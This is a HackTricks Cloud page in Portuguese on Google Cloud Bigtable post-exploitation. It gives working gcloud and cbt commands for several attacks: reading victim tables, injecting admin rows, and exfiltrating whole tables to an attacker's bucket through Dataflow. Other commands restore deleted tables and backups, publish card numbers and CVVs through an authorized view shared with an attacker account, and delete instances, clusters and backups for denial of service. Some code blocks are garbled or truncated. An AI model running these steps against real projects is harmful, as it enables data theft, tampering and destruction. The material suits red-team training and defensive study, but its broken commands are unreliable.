GCP - Bigtable Post Exploitation
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Bigtable
For more information about Bigtable check:
Tip
Instale o
cbtCLI uma vez via o Cloud SDK para que os comandos abaixo funcionem localmente:Instale o cbt CLI
gcloud components install cbt
Ler linhas
PermissÔes: bigtable.tables.readRows
cbt vem com o Cloud SDK e se comunica com as APIs de administração/dados sem precisar de middleware. Aponte-o para o projeto/instĂąncia comprometida e descarregue as linhas diretamente da tabela. Limite a varredura se vocĂȘ sĂł precisar de uma olhada.
Ler entradas do Bigtable
```bash # Install cbt gcloud components update gcloud components install cbtRead entries with creds of gcloud
cbt -project=
</details>
### Escrever linhas
**PermissĂ”es:** `bigtable.tables.mutateRows`, (vocĂȘ precisarĂĄ de `bigtable.tables.readRows` para confirmar a alteração).
Use a mesma ferramenta para inserir/atualizar (upsert) células arbitrårias. Esta é a maneira mais råpida de backdoor configs, drop web shells, ou plant poisoned dataset rows.
<details>
<summary>Injetar linha maliciosa</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
cbt set aceita bytes brutos via a sintaxe @/path, assim vocĂȘ pode enviar payloads compilados ou protobufs serializados exatamente como os serviços downstream esperam.
Exportar linhas para seu bucket
Permissions: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs
Ă possĂvel exfiltrar o conteĂșdo de uma tabela inteira para um bucket controlado pelo atacante iniciando um job do Dataflow que transmite as linhas para um bucket GCS que vocĂȘ controla.
Note
Observe que vocĂȘ precisarĂĄ da permissĂŁo
iam.serviceAccounts.actAssobre algum SA com permissÔes suficientes para realizar a exportação (por padrão, se não indicado de outra forma, o compute SA padrão serå usado).
Exportar Bigtable para um bucket GCS
```bash gcloud dataflow jobs runExample
gcloud dataflow jobs run dump-bigtable3
âgcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
âproject=gcp-labs-3uis1xlx
âregion=us-central1
âparameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
âstaging-location=gs://deleteme20u9843rhfioue/staging/
</details>
> [!NOTE]
> Altere o template para `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` se quiser saĂdas Parquet/SequenceFile em vez de JSON. As permissĂ”es sĂŁo as mesmas; somente o caminho do template muda.
### Importar linhas
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Ă possĂvel importar o conteĂșdo de uma tabela inteira de um bucket controlado pelo atacante lançando um job do Dataflow que faz stream de linhas para um bucket GCS que vocĂȘ controla. Para isso o atacante precisarĂĄ primeiro criar um arquivo parquet com os dados a serem importados no schema esperado. Um atacante pode primeiro exportar os dados em formato parquet seguindo a tĂ©cnica anterior com a configuração `Cloud_Bigtable_to_GCS_Parquet` e adicionar novas entradas no arquivo parquet baixado
> [!NOTE]
> Observe que vocĂȘ precisarĂĄ da permissĂŁo `iam.serviceAccounts.actAs` sobre alguma SA com permissĂ”es suficientes para realizar a exportação (por padrĂŁo, se nĂŁo indicado o contrĂĄrio, a SA de compute padrĂŁo serĂĄ usada).
<details>
<summary>Importar do bucket GCS para Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
Restaurando backups
PermissÔes: bigtable.backups.restore, bigtable.tables.create.
Um atacante com essas permissĂ”es pode restaurar um backup em uma nova tabela sob seu controle para recuperar dados sensĂveis antigos.
Restaurar backup do Bigtable
```bash gcloud bigtable backups list --instance=gcloud bigtable instances tables restore
âsource=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
âasync
âdestination=<TABLE_ID_NEW>
âdestination-instance=<INSTANCE_ID_DESTINATION>
âproject=<PROJECT_ID_DESTINATION>
</details>
### Restaurar tabelas
**Permissions:** `bigtable.tables.undelete`
Bigtable oferece exclusĂŁo lĂłgica com um perĂodo de carĂȘncia (normalmente 7 dias por padrĂŁo). Durante essa janela, um atacante com a permissĂŁo `bigtable.tables.undelete` pode restaurar uma tabela recentemente excluĂda e recuperar todos os seus dados, potencialmente acessando informaçÔes sensĂveis que se pensava terem sido destruĂdas.
Isto Ă© particularmente Ăștil para:
- Recuperar dados de tabelas excluĂdas por defensores durante resposta a incidentes
- Acessar dados histĂłricos que foram eliminados intencionalmente
- Reverter exclusĂ”es acidentais ou maliciosas para manter persistĂȘncia
<details>
<summary>Restaurar tabela do Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
Note
A operação undelete sĂł funciona dentro do perĂodo de retenção configurado (padrĂŁo 7 dias). ApĂłs essa janela expirar, a tabela e seus dados sĂŁo permanentemente excluĂdos e nĂŁo podem ser recuperados por este mĂ©todo.
Criar Authorized Views
PermissÔes: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows
Authorized views permitem que vocĂȘ apresente um subconjunto selecionado da tabela. Em vez de respeitar o princĂpio do menor privilĂ©gio, use-os para publicar exatamente os conjuntos sensĂveis de colunas/linhas que lhe interessam e whitelist seu prĂłprio principal.
Warning
O problema Ă© que, para criar um authorized view vocĂȘ tambĂ©m precisa poder ler e modificar linhas na tabela base; portanto vocĂȘ nĂŁo estĂĄ obtendo nenhuma permissĂŁo extra, e por isso esta tĂ©cnica Ă© em grande parte inĂștil.
Criar authorized view
```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOFgcloud bigtable authorized-views create card-dump
âinstance=
âdefinition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump
âinstance=
âmember=âuser:attacker@example.comâ ârole=âroles/bigtable.readerâ
</details>
Como o acesso estĂĄ restrito Ă view, os defensores frequentemente deixam de notar que vocĂȘ acabou de criar um novo endpoint de alta sensibilidade.
### Ler Authorized Views
**PermissÔes:** `bigtable.authorizedViews.readRows`
Se vocĂȘ tiver acesso a um Authorized View, pode ler dados dele usando as bibliotecas cliente do Bigtable, especificando o nome do Authorized View nas suas solicitaçÔes de leitura. Observe que o Authorized View provavelmente restringirĂĄ o que vocĂȘ pode acessar na tabela. Abaixo hĂĄ um exemplo usando Python:
<details>
<summary>Ler de Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
Negação de Serviço via operaçÔes de exclusão
PermissÔes: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete
Qualquer uma das permissĂ”es de exclusĂŁo do Bigtable pode ser explorada para ataques de negação de serviço. Um atacante com essas permissĂ”es pode interromper operaçÔes excluindo recursos crĂticos do Bigtable:
bigtable.appProfiles.delete: Excluir perfis de aplicativo, rompendo conexĂ”es de clientes e configuraçÔes de roteamentobigtable.authorizedViews.delete: Remover visualizaçÔes autorizadas, bloqueando caminhos legĂtimos de acesso para aplicaçÔesbigtable.authorizedViews.deleteTagBinding: Remover associaçÔes de tags de visualizaçÔes autorizadasbigtable.backups.delete: Destruir instantĂąneos de backup, eliminando opçÔes de recuperação de desastresbigtable.clusters.delete: Excluir clusters inteiros, causando indisponibilidade imediata dos dadosbigtable.instances.delete: Remover instĂąncias completas do Bigtable, apagando todas as tabelas e configuraçÔesbigtable.tables.delete: Excluir tabelas individuais, causando perda de dados e falhas nas aplicaçÔes
Excluir recursos do Bigtable
```bash # Delete a table gcloud bigtable instances tables deleteDelete an authorized view
gcloud bigtable authorized-views delete
âinstance=
Delete a backup
gcloud bigtable backups delete
âinstance=
Delete an app profile
gcloud bigtable app-profiles delete
âinstance=
Delete a cluster
gcloud bigtable clusters delete
âinstance=
Delete an entire instance
gcloud bigtable instances delete
</details>
> [!WARNING]
> OperaçÔes de exclusĂŁo costumam ser imediatas e irreversĂveis. Certifique-se de que existam backups antes de testar esses comandos, pois eles podem causar perda permanente de dados e grave interrupção do serviço.
> [!TIP]
> Aprenda e pratique AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoie o HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Participe do** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou do [**telegram group**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe hacking tricks enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

